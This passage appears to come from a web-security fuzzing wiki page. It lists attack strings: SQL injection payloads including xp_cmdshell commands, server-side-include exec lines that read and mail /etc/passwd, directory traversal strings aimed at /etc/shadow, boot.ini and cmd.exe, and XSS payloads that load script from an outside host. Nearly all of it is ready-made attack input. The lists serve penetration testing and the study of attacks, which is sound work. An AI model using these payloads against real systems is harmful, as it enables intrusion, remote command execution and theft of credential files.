/> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> # Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;<br /> # ll HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: 30 July 2007 - Total Statements: 4) ===<br /> &lt;pre&gt;<br /> # Some server side include statements<br /> # Foobar@email.de<br /> <br /> &amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt;<br /> <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Discovery Statements ===<br /> <br /> Discovery Statements<br /> &lt;pre&gt;# Discovery Statements (July 2007)<br /> # Statements used to cause exploitable errors<br /> # Foobar@email.de<br /> <br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> <br /> Common exploit code <br /> &lt;pre&gt;# Best Statements (July 2007)<br /> # Statements covering 90% of all vulnerabilities <br /> # Foobar@email.de<br /> <br /> '&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt;<br /> <br /> Full List - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;# Full List (July 2007)<br /> # All Statements - Full List <br /> # Based on the XSS cheat sheet <br /> # http://ha.ckers.org/xss.html<br /> # Foobar@email.de<br /> <br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> 